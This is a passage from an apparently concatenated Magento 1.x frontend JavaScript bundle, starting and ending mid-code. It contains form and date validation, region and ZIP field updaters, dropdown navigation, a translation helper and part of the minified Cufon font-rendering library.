            if(!countDaysInMonth || countDaysInMonth>31) countDaysInMonth = 31;
             
            if (day<1 || day>countDaysInMonth) {
                errorType = 'day';
                error = 'Please enter a valid day (1-%d).';
            } else if (month<1 || month>12) {
                errorType = 'month';
                error = 'Please enter a valid month (1-12).';
            } else if (year<1900 || year>curyear) {
                errorType = 'year';
                error = 'Please enter a valid year (1900-%d).';
            } else {
                if(day % 10 == day) this.day.value = '0'+day;
                if(month % 10 == month) this.month.value = '0'+month;
                this.full.value = this.format.replace(/%[mb]/i, this.month.value).replace(/%[de]/i, this.day.value).replace(/%y/i, this.year.value);
                var testFull = this.month.value + '/' + this.day.value + '/'+ this.year.value;
                var test = new Date(testFull);
                if (isNaN(test)) {
                    error = 'Please enter a valid date.';
                }
            }
        }

        if (error !== false) {
            try {
                error = Translator.translate(error);
            }
            catch (e) {}
            this.advice.innerHTML = error.replace('%d', errorType == 'day' ? countDaysInMonth : curyear);
            this.advice.show();
            return false;
        }
        
        // fixing elements class
        this.day.removeClassName('validation-failed');
        this.month.removeClassName('validation-failed');
        this.year.removeClassName('validation-failed');
        
        this.advice.hide();
        return true;
    }
};

Varien.DOB = Class.create();
Varien.DOB.prototype = {
    initialize: function(selector, required, format) {
        var el = $$(selector)[0];
        var container       = {};
        container.day       = Element.select(el, '.dob-day input')[0];
        container.month     = Element.select(el, '.dob-month input')[0];
        container.year      = Element.select(el, '.dob-year input')[0];
        container.full      = Element.select(el, '.dob-full input')[0];
        container.advice    = Element.select(el, '.validation-advice')[0];
        
        new Varien.DateElement('container', container, required, format);
    }
};

Varien.FileElement = Class.create();
Varien.FileElement.prototype = {
    initialize: function (id) {
        this.fileElement = $(id);
        this.hiddenElement = $(id + '_value');
        
        this.fileElement.observe('change', this.selectFile.bind(this));
    },
    selectFile: function(event) {
        this.hiddenElement.value = this.fileElement.getValue();
    }
};

Validation.addAllThese([
    ['validate-custom', ' ', function(v,elm) {
        return elm.validate();
    }]
]);

function truncateOptions() {
    $$('.truncated').each(function(element){
        Event.observe(element, 'mouseover', function(){
            if (element.down('div.truncated_full_value')) {
                element.down('div.truncated_full_value').addClassName('show')
            }
        });
        Event.observe(element, 'mouseout', function(){
            if (element.down('div.truncated_full_value')) {
                element.down('div.truncated_full_value').removeClassName('show')
            }
        });

    });
}
Event.observe(window, 'load', function(){
   truncateOptions();
});

Element.addMethods({
    getInnerText: function(element)
    {
        element = $(element);
        if(element.innerText && !Prototype.Browser.Opera) {
            return element.innerText
        }
        return element.innerHTML.stripScripts().unescapeHTML().replace(/[\n\r\s]+/g, ' ').strip();
    }
});

if (!("console" in window) || !("firebug" in console))
{
    var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml",
    "group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];

    window.console = {};
    for (var i = 0; i < names.length; ++i)
        window.console[names[i]] = function() {}
}

/**
 * Executes event handler on the element. Works with event handlers attached by Prototype,
 * in a browser-agnostic fashion.
 * @param element The element object
 * @param event Event name, like 'change'
 *
 * @example fireEvent($('my-input', 'click'));
 */
function fireEvent(element, event){
    if (document.createEventObject){
        // dispatch for IE
        var evt = document.createEventObject();
        return element.fireEvent('on'+event,evt)
    }
    else{
        // dispatch for firefox + others
        var evt = document.createEvent("HTMLEvents");
        evt.initEvent(event, true, true ); // event type,bubbling,cancelable
        return !element.dispatchEvent(evt);
    }
}

/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Academic Free License (AFL 3.0)
 * that is bundled with this package in the file LICENSE_AFL.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/afl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@magentocommerce.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category    Varien
 * @package     js
 * @copyright   Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com)
 * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
 */
VarienForm = Class.create();
VarienForm.prototype = {
    initialize: function(formId, firstFieldFocus){
        this.form       = $(formId);
        if (!this.form) {
            return;
        }
        this.cache      = $A();
        this.currLoader = false;
        this.currDataIndex = false;
        this.validator  = new Validation(this.form);
        this.elementFocus   = this.elementOnFocus.bindAsEventListener(this);
        this.elementBlur    = this.elementOnBlur.bindAsEventListener(this);
        this.childLoader    = this.onChangeChildLoad.bindAsEventListener(this);
        this.highlightClass = 'highlight';
        this.extraChildParams = '';
        this.firstFieldFocus= firstFieldFocus || false;
        this.bindElements();
        if(this.firstFieldFocus){
            try{
                Form.Element.focus(Form.findFirstElement(this.form))
            }
            catch(e){}
        }
    },

    submit : function(url){
        if(this.validator && this.validator.validate()){
             this.form.submit();
        }
        return false;
    },

    bindElements:function (){
        var elements = Form.getElements(this.form);
        for (var row in elements) {
            if (elements[row].id) {
                Event.observe(elements[row],'focus',this.elementFocus);
                Event.observe(elements[row],'blur',this.elementBlur);
            }
        }
    },

    elementOnFocus: function(event){
        var element = Event.findElement(event, 'fieldset');
        if(element){
            Element.addClassName(element, this.highlightClass);
        }
    },

    elementOnBlur: function(event){
        var element = Event.findElement(event, 'fieldset');
        if(element){
            Element.removeClassName(element, this.highlightClass);
        }
    },

    setElementsRelation: function(parent, child, dataUrl, first){
        if (parent=$(parent)) {
            // TODO: array of relation and caching
            if (!this.cache[parent.id]){
                this.cache[parent.id] = $A();
                this.cache[parent.id]['child']     = child;
                this.cache[parent.id]['dataUrl']   = dataUrl;
                this.cache[parent.id]['data']      = $A();
                this.cache[parent.id]['first']      = first || false;
            }
            Event.observe(parent,'change',this.childLoader);
        }
    },

    onChangeChildLoad: function(event){
        element = Event.element(event);
        this.elementChildLoad(element);
    },

    elementChildLoad: function(element, callback){
        this.callback = callback || false;
        if (element.value) {
            this.currLoader = element.id;
            this.currDataIndex = element.value;
            if (this.cache[element.id]['data'][element.value]) {
                this.setDataToChild(this.cache[element.id]['data'][element.value]);
            }
            else{
                new Ajax.Request(this.cache[this.currLoader]['dataUrl'],{
                        method: 'post',
                        parameters: {"parent":element.value},
                        onComplete: this.reloadChildren.bind(this)
                });
            }
        }
    },

    reloadChildren: function(transport){
        var data = eval('(' + transport.responseText + ')');
        this.cache[this.currLoader]['data'][this.currDataIndex] = data;
        this.setDataToChild(data);
    },

    setDataToChild: function(data){
        if (data.length) {
            var child = $(this.cache[this.currLoader]['child']);
            if (child){
                var html = '<select name="'+child.name+'" id="'+child.id+'" class="'+child.className+'" title="'+child.title+'" '+this.extraChildParams+'>';
                if(this.cache[this.currLoader]['first']){
                    html+= '<option value="">'+this.cache[this.currLoader]['first']+'</option>';
                }
                for (var i in data){
                    if(data[i].value) {
                        html+= '<option value="'+data[i].value+'"';
                        if(child.value && (child.value == data[i].value || child.value == data[i].label)){
                            html+= ' selected';
                        }
                        html+='>'+data[i].label+'</option>';
                    }
                }
                html+= '</select>';
                Element.insert(child, {before: html});
                Element.remove(child);
            }
        }
        else{
            var child = $(this.cache[this.currLoader]['child']);
            if (child){
                var html = '<input type="text" name="'+child.name+'" id="'+child.id+'" class="'+child.className+'" title="'+child.title+'" '+this.extraChildParams+'>';
                Element.insert(child, {before: html});
                Element.remove(child);
            }
        }

        this.bindElements();
        if (this.callback) {
            this.callback();
        }
    }
}

RegionUpdater = Class.create();
RegionUpdater.prototype = {
    initialize: function (countryEl, regionTextEl, regionSelectEl, regions, disableAction, zipEl)
    {
        this.countryEl = $(countryEl);
        this.regionTextEl = $(regionTextEl);
        this.regionSelectEl = $(regionSelectEl);
        this.zipEl = $(zipEl);
        this.regions = regions;

        this.disableAction = (typeof disableAction=='undefined') ? 'hide' : disableAction;
        this.zipOptions = (typeof zipOptions=='undefined') ? false : zipOptions;

        if (this.regionSelectEl.options.length<=1) {
            this.update();
        }

        Event.observe(this.countryEl, 'change', this.update.bind(this));
    },

    update: function()
    {
        if (this.regions[this.countryEl.value]) {
            var i, option, region, def;

            if (this.regionTextEl) {
                def = this.regionTextEl.value.toLowerCase();
                this.regionTextEl.value = '';
            }
            if (!def) {
                def = this.regionSelectEl.getAttribute('defaultValue');
            }

            this.regionSelectEl.options.length = 1;
            for (regionId in this.regions[this.countryEl.value]) {
                region = this.regions[this.countryEl.value][regionId];

                option = document.createElement('OPTION');
                option.value = regionId;
                option.text = region.name;

                if (this.regionSelectEl.options.add) {
                    this.regionSelectEl.options.add(option);
                } else {
                    this.regionSelectEl.appendChild(option);
                }

                if (regionId==def || region.name.toLowerCase()==def || region.code.toLowerCase()==def) {
                    this.regionSelectEl.value = regionId;
                }
            }

            if (this.disableAction=='hide') {
                if (this.regionTextEl) {
                    this.regionTextEl.style.display = 'none';
                }

                this.regionSelectEl.style.display = '';
            } else if (this.disableAction=='disable') {
                if (this.regionTextEl) {
                    this.regionTextEl.disabled = true;
                }
                this.regionSelectEl.disabled = false;
            }
            this.setMarkDisplay(this.regionSelectEl, true);
        } else {
            if (this.disableAction=='hide') {
                if (this.regionTextEl) {
                    this.regionTextEl.style.display = '';
                }
                this.regionSelectEl.style.display = 'none';
                Validation.reset(this.regionSelectEl);
            } else if (this.disableAction=='disable') {
                if (this.regionTextEl) {
                    this.regionTextEl.disabled = false;
                }
                this.regionSelectEl.disabled = true;
            } else if (this.disableAction=='nullify') {
                this.regionSelectEl.options.length = 1;
                this.regionSelectEl.value = '';
                this.regionSelectEl.selectedIndex = 0;
                this.lastCountryId = '';
            }
            this.setMarkDisplay(this.regionSelectEl, false);
        }

        // Make Zip and its label required/optional
        var zipUpdater = new ZipUpdater(this.countryEl.value, this.zipEl);
        zipUpdater.update();
    },

    setMarkDisplay: function(elem, display){
        elem = $(elem);
        var labelElement = elem.up(0).down('label > span.required') ||
                           elem.up(1).down('label > span.required') ||
                           elem.up(0).down('label.required > em') ||
                           elem.up(1).down('label.required > em');
        if(labelElement) {
            inputElement = labelElement.up().next('input');
            if (display) {
                labelElement.show();
                if (inputElement) {
                    inputElement.addClassName('required-entry');
                }
            } else {
                labelElement.hide();
                if (inputElement) {
                    inputElement.removeClassName('required-entry');
                }
            }
        }
    }
}

ZipUpdater = Class.create();
ZipUpdater.prototype = {
    initialize: function(country, zipElement)
    {
        this.country = country;
        this.zipElement = $(zipElement);
    },

    update: function()
    {
        // Country ISO 2-letter codes must be pre-defined
        if (typeof optionalZipCountries == 'undefined') {
            return false;
        }

        // Ajax-request and normal content load compatibility
        if (this.zipElement != undefined) {
            this._setPostcodeOptional();
        } else {
            Event.observe(window, "load", this._setPostcodeOptional.bind(this));
        }
    },

    _setPostcodeOptional: function()
    {
        this.zipElement = $(this.zipElement);
        if (this.zipElement == undefined) {
            return false;
        }

        // find label
        var label = $$('label[for="' + this.zipElement.id + '"]')[0];
        if (label != undefined) {
            var wildCard = label.down('em') || label.down('span.required');
        }

        // Make Zip and its label required/optional
        if (optionalZipCountries.indexOf(this.country) != -1) {
            while (this.zipElement.hasClassName('required-entry')) {
                this.zipElement.removeClassName('required-entry');
            }
            if (wildCard != undefined) {
                wildCard.hide();
            }
        } else {
            this.zipElement.addClassName('required-entry');
            if (wildCard != undefined) {
                wildCard.show();
            }
        }
    }
}

/** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE_AFL.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magentocommerce.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magentocommerce.com for more information. * * @category    Varien * @package     js * @copyright   Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com) * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0) *//** * @classDescription simple Navigation with replacing old handlers * @param {String} id id of ul element with navigation lists * @param {Object} settings object with settings */  function toggleMenu(el, over){    if (over) {        Element.addClassName(el, 'over');    }    else {        Element.removeClassName(el, 'over');    }}var mainNav = function() {    var main = {        obj_nav :   $(arguments[0]) || $("nav"),        settings :  {            show_delay      :   0,            hide_delay      :   0,            _ie6            :   /MSIE 6.+Win/.test(navigator.userAgent),            _ie7            :   /MSIE 7.+Win/.test(navigator.userAgent)        },        init :  function(obj, level) {            obj.lists = obj.childElements();            obj.lists.each(function(el,ind){                main.handlNavElement(el);                if((main.settings._ie6 || main.settings._ie7) && level){                    main.ieFixZIndex(el, ind, obj.lists.size());                }            });            if(main.settings._ie6 && !level){                document.execCommand("BackgroundImageCache", false, true);            }        },        handlNavElement :   function(list) {            if(list !== undefined){                list.onmouseover = function(){                    main.fireNavEvent(this,true);                };                list.onmouseout = function(){                    main.fireNavEvent(this,false);                };                if(list.down("ul")){                    main.init(list.down("ul"), true);                }            }        },        ieFixZIndex : function(el, i, l) {            if(el.tagName.toString().toLowerCase().indexOf("iframe") == -1){                el.style.zIndex = l - i;            } else {                el.onmouseover = "null";                el.onmouseout = "null";            }        },        fireNavEvent :  function(elm,ev) {            if(ev){                elm.addClassName("over");                elm.down("a").addClassName("over");                if (elm.childElements()[1]) {                    main.show(elm.childElements()[1]);                }            } else {                elm.removeClassName("over");                elm.down("a").removeClassName("over");                if (elm.childElements()[1]) {                    main.hide(elm.childElements()[1]);                }            }        },        show : function (sub_elm) {            if (sub_elm.hide_time_id) {                clearTimeout(sub_elm.hide_time_id);            }            sub_elm.show_time_id = setTimeout(function() {                if (!sub_elm.hasClassName("shown-sub")) {                    sub_elm.addClassName("shown-sub");                }            }, main.settings.show_delay);        },        hide : function (sub_elm) {            if (sub_elm.show_time_id) {                clearTimeout(sub_elm.show_time_id);            }            sub_elm.hide_time_id = setTimeout(function(){                if (sub_elm.hasClassName("shown-sub")) {                    sub_elm.removeClassName("shown-sub");                }            }, main.settings.hide_delay);        }    };    if (arguments[1]) {        main.settings = Object.extend(main.settings, arguments[1]);    }    if (main.obj_nav) {        main.init(main.obj_nav, false);    }};document.observe("dom:loaded", function() {    //run navigation without delays and with default id="#nav"    //mainNav();    //run navigation with delays    mainNav("nav", {"show_delay":"100","hide_delay":"100"});});
/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Academic Free License (AFL 3.0)
 * that is bundled with this package in the file LICENSE_AFL.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/afl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@magentocommerce.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category    Mage
 * @package     js
 * @copyright   Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com)
 * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
 */

var Translate = Class.create();
Translate.prototype = {
    initialize: function(data){
        this.data = $H(data);
    },

    translate : function(){
        var args = arguments;
        var text = arguments[0];

        if(this.data.get(text)){
            return this.data.get(text);
        }
        return text;
    },
    add : function() {
        if (arguments.length > 1) {
            this.data.set(arguments[0], arguments[1]);
        } else if (typeof arguments[0] =='object') {
            $H(arguments[0]).each(function (pair){
                this.data.set(pair.key, pair.value);
            }.bind(this));
        }
    }
}

/*
 * Copyright (c) 2009 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version 1.09
 */
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var 